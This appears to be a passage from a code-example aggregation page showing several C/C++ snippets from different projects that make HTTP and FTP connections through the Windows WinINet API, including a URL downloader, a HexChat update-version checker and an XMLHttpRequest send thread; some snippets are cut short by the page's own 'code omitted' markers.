INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL );
if ( !hInet ) {
pszFunction = L"InternetOpen";
break;
}
DWORD lpdwBufferLength = sizeof(sBuf)/sizeof(wchar_t);
if ( !InternetCanonicalizeUrl(urlw, (LPWSTR)sBuf, &lpdwBufferLength, 0) ) {
pszFunction = L"InternetCanonicalizeUrl";
break;
}
ATLTRACE(L"Connecting to url: %s\n",(LPWSTR)sBuf);
URL_COMPONENTS uri;
alloc_url_components(&uri,url);
if( !InternetCrackUrl((LPWSTR)sBuf,lpdwBufferLength,0,&uri) ) {
pszFunction = L"InternetCrackUrl";
free_url_components(&uri);
break;
}
hConnection = InternetConnect( hInet,
uri.lpszHostName, uri.nPort, _T("anonymous"), NULL,
INTERNET_SERVICE_HTTP, 0, 0 );
if ( !hConnection ) {
pszFunction = L"InternetConnect";
free_url_components(&uri);
break;
}
wsprintf((LPWSTR)sBuf,L"%s%s",uri.lpszUrlPath,uri.lpszExtraInfo);
hRequest = HttpOpenRequest( hConnection, verb,
(LPWSTR)sBuf, NULL, NULL, NULL,
INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_CACHE_WRITE, NULL );
if ( !hRequest ) {
pszFunction = L"HttpOpenRequest";
free_url_components(&uri);
break;
}
free_url_components(&uri);
//Send data
if ( HttpSendRequest( hRequest, NULL, 0, body, body_size) ) {
wchar_t res[10];
DWORD dwLen = 10;
DWORD nIndex = 0;
bool bOk = false;
if( HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_CODE,res,&dwLen,&nIndex) ){
if ( wcscmp(res,L"200") == 0 )
bOk = true;
else {
bOk = false;
// If we're unauthorized, delete any cookies that might have been
// stored so we don't reuse them later
if ( wcscmp(res,L"401") == 0 ) delete_winmo_session(load_source_url());
}
}
if ( bOk ){
if ( bGetHeaders ){
DWORD dwSize = 0;
HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS, NULL, &dwSize, NULL);
if( dwSize != 0 )
{
cstr = new char [dwSize+1];
// Call HttpQueryInfo again to get the headers.
bOk = (bool) HttpQueryInfoA(hRequest, HTTP_QUERY_RAW_HEADERS, (LPVOID) cstr, &dwSize, NULL);
}
//.........这里部分代码省略.........
示例12: DownloadURL
wxString DownloadURL( const wxString& server, const wxString& path )
{
HINTERNET hInternetOpen = 0;
HINTERNET hInternetConnect = 0;
HINTERNET hHttpOpenRequest = 0;
char sReadBuffer[2048] = "";
DWORD dwLengthSizeBuffer = sizeof(sReadBuffer);
long lRetVal(0), bRet(0), bDoLoop(1);
ULONG lNumberOfBytesRead(0);
wxString tmp, sBuffer;
if (!InternetGetConnectedState(0, 0))
return wxT("");
hInternetOpen = InternetOpen(USER_AGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if( hInternetOpen )
{
hInternetConnect = InternetConnect(hInternetOpen, server, INTERNET_DEFAULT_HTTP_PORT, NULL, AGENT, INTERNET_SERVICE_HTTP, 0, 0);
if ( hInternetConnect )
{
hHttpOpenRequest = HttpOpenRequest(hInternetConnect, wxT("GET"), path, AGENT, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0);
if ( hHttpOpenRequest )
{
long tmpVar;
tmpVar = 10000; lRetVal = InternetSetOption(hHttpOpenRequest, INTERNET_OPTION_CONNECT_TIMEOUT, &tmpVar, 4);
tmpVar = 15000; lRetVal = InternetSetOption(hHttpOpenRequest, INTERNET_OPTION_RECEIVE_TIMEOUT, &tmpVar, 4);
tmpVar = 20000; lRetVal = InternetSetOption(hHttpOpenRequest, INTERNET_OPTION_SEND_TIMEOUT, &tmpVar, 4);
bRet = HttpAddRequestHeaders(hHttpOpenRequest, DEFAULT_HEADERS, wxStrlen(DEFAULT_HEADERS), HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD);
bRet = HttpSendRequest(hHttpOpenRequest, NULL, 0, 0, 0);
while ( bDoLoop ) {
sReadBuffer[0] = 0;
bDoLoop = InternetReadFile(hHttpOpenRequest, sReadBuffer, dwLengthSizeBuffer, &lNumberOfBytesRead);
if ( lNumberOfBytesRead > 0 )
{
tmp = wxString(sReadBuffer, wxConvLibc);
tmp.Truncate(lNumberOfBytesRead);
sBuffer += tmp;
}
else
{
bDoLoop = 0;
}
}
bRet = InternetCloseHandle(hHttpOpenRequest);
} // if ( hHttpOpenRequest )
bRet = InternetCloseHandle(hInternetConnect);
} // if ( hInternetConnect )
bRet = InternetCloseHandle(hInternetOpen);
} // if( hInternetOpen )
return sBuffer;
}
示例13: check_version
static char*
check_version ()
{
#if 0
HINTERNET hINet, hFile;
hINet = InternetOpen ("Update Checker", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!hINet)
{
return "Unknown";
}
hFile = InternetOpenUrl (hINet,
"https://raw.github.com/hexchat/hexchat/master/win32/version.txt",
NULL,
0,
INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD,
0);
if (hFile)
{
static char buffer[1024];
DWORD dwRead;
while (InternetReadFile (hFile, buffer, 1023, &dwRead))
{
if (dwRead == 0)
{
break;
}
buffer[dwRead] = 0;
}
InternetCloseHandle (hFile);
InternetCloseHandle (hINet);
if (strlen (buffer) == 5)
return buffer;
else
return "Unknown";
}
InternetCloseHandle (hINet);
return "Unknown";
#endif
/* Google Code's messing up with requests, use HTTP/1.0 as suggested. More info:
http://code.google.com/p/support/issues/detail?id=6095
Of course it would be still too simple, coz IE will override settings, so
you have to disable HTTP/1.1 manually and globally. More info:
http://support.microsoft.com/kb/258425
So this code's basically useless since disabling HTTP/1.1 will work with the
above code too.
Update: a Connection: close header seems to disable chunked encoding.
*/
HINTERNET hOpen, hConnect, hResource;
hOpen = InternetOpen (TEXT ("Update Checker"),
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
NULL,
0);
if (!hOpen)
{
return "Unknown";
}
hConnect = InternetConnect (hOpen,
TEXT ("raw.github.com"),
INTERNET_DEFAULT_HTTPS_PORT,
NULL,
NULL,
INTERNET_SERVICE_HTTP,
0,
0);
if (!hConnect)
{
InternetCloseHandle (hOpen);
return "Unknown";
}
hResource = HttpOpenRequest (hConnect,
TEXT ("GET"),
TEXT ("/hexchat/hexchat/master/win32/version.txt"),
TEXT ("HTTP/1.0"),
NULL,
NULL,
INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_AUTH,
0);
if (!hResource)
{
InternetCloseHandle (hConnect);
InternetCloseHandle (hOpen);
return "Unknown";
}
else
{
//.........这里部分代码省略.........
示例14: _T
DWORD WINAPI CFtpFile::ConnectWork(LPVOID Param)
{
CFtpFile *p = (CFtpFile *)Param;
TCHAR LogBuff[300]={0};
for(int i=0;i<3;i++)
{
if(-1 == p->m_Mode ||0 == p->m_Mode)
{
///被动模式连接
g_Datalog.Trace(LOGL_TOP,LOGT_PROMPT, __TFILE__,__LINE__, _T("被动模式连接, start InternetConnect"));
p->m_hConnect =
InternetConnect(
p->m_hHint,
p->m_strIP,
p->m_dwPort,
p->m_strUser,
p->m_strPwd,
INTERNET_SERVICE_FTP,
INTERNET_FLAG_PASSIVE,
0);
if(p->m_hConnect == NULL) //INTERNET_FLAG_PASSIVE
{
DWORD dwErr = GetLastError();
p->m_isConnect = FALSE;
_stprintf(LogBuff,_T("InternetConnect 被动连接失败 %s err = %d"),p->m_strIP,dwErr);
g_Datalog.Trace(LOGL_TOP,LOGT_ERROR, __TFILE__,__LINE__, LogBuff);
if(dwErr== 6||dwErr ==12002)
{
g_Datalog.Trace(LOGL_TOP,LOGT_ERROR, __TFILE__,__LINE__, _T("连接失败退出 dwerr =6 or 12002"));
return 1;
}
}
else
{
p->m_Mode = 0;
p->m_isConnect = TRUE;
_stprintf(LogBuff,_T("FTP被动连接成功 %s"),p->m_strIP);
g_Datalog.Trace(LOGL_TOP,LOGT_PROMPT, __TFILE__,__LINE__, LogBuff);
return 0;
}
}
if(-1 == p->m_Mode ||1 == p->m_Mode)
{
///主动模式连接
p->m_hConnect =
InternetConnect(
p->m_hHint,
p->m_strIP,
p->m_dwPort,
p->m_strUser,
p->m_strPwd,
INTERNET_SERVICE_FTP,
0,
0);
if(p->m_hConnect == NULL)
{
p->m_isConnect = FALSE;
DWORD dwErr = GetLastError();
_stprintf(LogBuff,_T("InternetConnect 主动连接失败 %s err = %d"),p->m_strIP,dwErr);
g_Datalog.Trace(LOGL_TOP,LOGT_ERROR, __TFILE__,__LINE__, LogBuff);
if(dwErr== 6||dwErr ==12002)
{
g_Datalog.Trace(LOGL_TOP,LOGT_ERROR, __TFILE__,__LINE__, _T("连接失败退出 dwerr =6 or 12002"));
return 1;
}
}
else
{
p->m_isConnect = TRUE;
_stprintf(LogBuff,_T("FTP主动连接成功 %s"),p->m_strIP);
g_Datalog.Trace(LOGL_TOP,LOGT_PROMPT, __TFILE__,__LINE__, LogBuff);
return 0;
}
}
}
return 1;
}
示例15: ATLTRACE
UINT APIENTRY CXMLHttpRequest::SendThread(void *pParm)
{
ATLTRACE(_T("CXMLHttpRequest::SendThread\n"));
CXMLHttpRequest *pCtx = reinterpret_cast<CXMLHttpRequest *> (pParm);
if (NULL == pCtx)
return 0;
HINTERNET hOpen = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;
hOpen = InternetOpen(_T("XMLHTTP/1.0"),INTERNET_OPEN_TYPE_PRECONFIG,
NULL,NULL,0);
if (NULL == hOpen) {
DWORD res = GetLastError();
pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
pCtx->m_bSuccess = false;
}
if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
if (INTERNET_INVALID_STATUS_CALLBACK == InternetSetStatusCallback(hOpen,
CXMLHttpRequest::InternetStatusCallback)) {
pCtx->m_Error = _T("Invalid Internet Status Callback function.");
pCtx->m_bSuccess = false;
}
}
bool bPromptForAuthentication = true;
if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
LPTSTR lpszUserName = NULL;
LPTSTR lpszPassword = NULL;
if (pCtx->m_User.length() > 0) {
bPromptForAuthentication = false;
lpszUserName = pCtx->m_User;
if (pCtx->m_Password.length() > 0)
lpszPassword = pCtx->m_Password;
}
hConnect = InternetConnect(hOpen,pCtx->m_HostName,pCtx->m_Port,lpszUserName,lpszPassword,
INTERNET_SERVICE_HTTP,0,reinterpret_cast<DWORD> (pCtx));
if (NULL == hConnect) {
DWORD res = GetLastError();
pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
pCtx->m_bSuccess = false;
}
}
if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
DWORD dwFlags = (443 == pCtx->m_Port) ? INTERNET_FLAG_SECURE : 0;
dwFlags |= INTERNET_FLAG_NO_CACHE_WRITE;
hRequest = HttpOpenRequest(hConnect,pCtx->m_Method,
pCtx->m_URLPath,NULL,NULL,NULL,
dwFlags,reinterpret_cast<DWORD> (pCtx));
if (NULL == hRequest) {
DWORD res = GetLastError();
pCtx->m_bSuccess = false;
pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
}
}
BOOL rc = TRUE;
if (!pCtx->m_bAbort && pCtx->m_bSuccess && pCtx->m_RequestHeaderMap.GetSize() > 0) {
_bstr_t requestHeaders;
for (int i = 0 ; i < pCtx->m_RequestHeaderMap.GetSize(); ++i) {
requestHeaders += pCtx->m_RequestHeaderMap.GetKeyAt(i);
requestHeaders += _T(": ");
requestHeaders += pCtx->m_RequestHeaderMap.GetValueAt(i);
requestHeaders += _T("\r\n");
}
rc = HttpAddRequestHeaders(hRequest,requestHeaders,-1,HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);
if (!rc) {
DWORD res = GetLastError();
pCtx->m_bSuccess = false;
pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
}
}
DWORD dwLen = 0;
DWORD dwError = ERROR_SUCCESS;
do {
if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
rc = HttpSendRequest(hRequest,NULL,0,pCtx->m_pBody,pCtx->m_lBodyLength);
if (!rc) {
DWORD res = GetLastError();
pCtx->m_bSuccess = false;
pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
break;
}
}
if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
dwLen = sizeof(DWORD);
rc = HttpQueryInfo(hRequest,
HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER,
&pCtx->m_dwStatus,&dwLen,NULL);
if (!rc) {
DWORD res = GetLastError();
pCtx->m_bSuccess = false;
pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
break;
//.........这里部分代码省略.........